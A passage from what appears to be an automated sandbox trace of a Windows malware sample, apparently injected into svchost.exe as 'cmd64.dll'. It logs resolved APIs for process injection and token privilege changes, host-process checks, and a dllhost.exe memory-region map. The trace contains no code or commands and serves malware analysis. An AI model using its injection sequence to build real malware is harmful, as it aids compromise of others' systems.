(hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0085.360] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0085.360] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0085.361] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0085.361] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0085.361] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0085.361] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0085.361] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0085.362] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0085.363] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0085.364] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0085.365] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0085.365] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0085.365] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0085.365] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0085.365] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0085.365] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0085.365] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0085.365] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0085.365] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0085.365] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0085.365] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0085.365] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0085.365] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0085.365] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0085.367] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0085.367] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\svchost.exe") returned 0x1f [0085.367] PathFindFileNameA (pszPath="C:\\Windows\\system32\\svchost.exe") returned="svchost.exe" [0085.367] GetCommandLineA () returned="C:\\Windows\\system32\\svchost.exe -k LocalService" [0085.367] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0085.367] StrStrIA (lpFirst="C:\\Windows\\system32\\svchost.exe -k LocalService", lpSrch="netsvcs") returned 0x0 [0085.369] StrStrIA (lpFirst="svchost.exe", lpSrch="wermgr.exe") returned 0x0 [0085.369] HeapDestroy (hHeap=0xfa0000) returned 1 [0085.374] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 225 os_tid = 0x12c Thread: id = 227 os_tid = 0x150 [0108.960] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\npmproxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 230 os_tid = 0x154 [0109.000] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\perftrack.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.020] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wer.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.020] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.021] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.021] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.022] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\aepic.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.022] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sfc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.022] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sfc_os.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.023] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 231 os_tid = 0x148 [0086.089] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\es.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.142] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.148] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.150] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.178] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 235 os_tid = 0x16c Thread: id = 238 os_tid = 0x218 Thread: id = 268 os_tid = 0x438 [0089.792] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsisvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.796] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 378 os_tid = 0x614 [0100.446] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sxs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 468 os_tid = 0x784 [0108.678] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.685] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 469 os_tid = 0x790 [0109.110] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.847] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 470 os_tid = 0x794 [0108.747] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wdi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 475 os_tid = 0x7a8 Thread: id = 477 os_tid = 0x7b0 [0109.164] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.175] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 482 os_tid = 0x7c4 [0113.129] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.132] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.136] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\NapiNSP.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.208] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pnrpnsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.225] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.228] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winrnr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.246] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.247] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.292] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasadhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.295] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FWPUCLNT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.705] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.714] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 491 os_tid = 0x7e8 Thread: id = 499 os_tid = 0x418 Thread: id = 505 os_tid = 0x498 Thread: id = 507 os_tid = 0x414 [0111.471] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winhttp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.471] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\webio.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Process: id = "22" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0xc125000" os_pid = "0x21c" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" Region: id = 1857 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1858 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1859 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1860 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1861 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1862 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1863 start_va = 0xff6f0000 end_va = 0xff6f6fff entry_point = 0xff6f124c region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" Region: id = 1864 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1865 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1866 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1867 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1868 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1869 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1870 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1871 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1872 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1873 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1874 start_va = 0x160000 end_va = 0x1c6fff entry_point = 0x160000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1875 start_va = 0x1d0000 end_va = 0x28ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1876 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1877 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1878 start_va = 0x4b0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1879 start_va = 0x4c0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1880 start_va = 0x5c0000 end_va = 0x747fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1881 start_va = 0x750000 end_va = 0x8d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 1882 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1883 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1884 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1885 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1886 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1887 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 1888 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1889 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1890 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1891 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1892 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1893 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 1894 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 1895 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1896 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1897 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 1898 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 1899 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 1900 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 1901 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 1902 start_va = 0xad0000 end_va = 0xb4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1903 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 1904 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 1905 start_va = 0xb50000 end_va = 0xe1efff entry_point = 0xb50000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1906 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1907 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1908 start_va = 0x960000 end_va = 0xa5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1909 start_va = 0xe80000 end_va = 0xf7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 1910 start_va = 0x10c0000 end_va = 0x11bffff entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 1911 start_va = 0x11f0000 end_va = 0x12effff entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 1912 start_va = 0x1420000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 1913 start_va = 0x7fefb5c0000 end_va = 0x7fefb65ffff entry_point = 0x7fefb63eb20 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" Region: id = 1914 start_va = 0x7fefc670000 end_va = 0x7fefc693fff entry_point = 0x7fefc671024 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" Region: id = 1915 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 1916 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 1917 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1918 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 1919 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 1920 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1921 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1922 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1923 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1924 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1925 start_va = 0xf80000 end_va = 0x107ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 1926 start_va = 0x16b0000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1927 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 1928 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 1929 start_va = 0x7fefc650000 end_va = 0x7fefc66cfff entry_point = 0x7fefc651ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" Region: id = 1930 start_va = 0x7fefdf70000 end_va = 0x7fefecf7fff entry_point = 0x7fefdfecebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" Region: id = 1931 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 1932 start_va = 0x7fefb5a0000 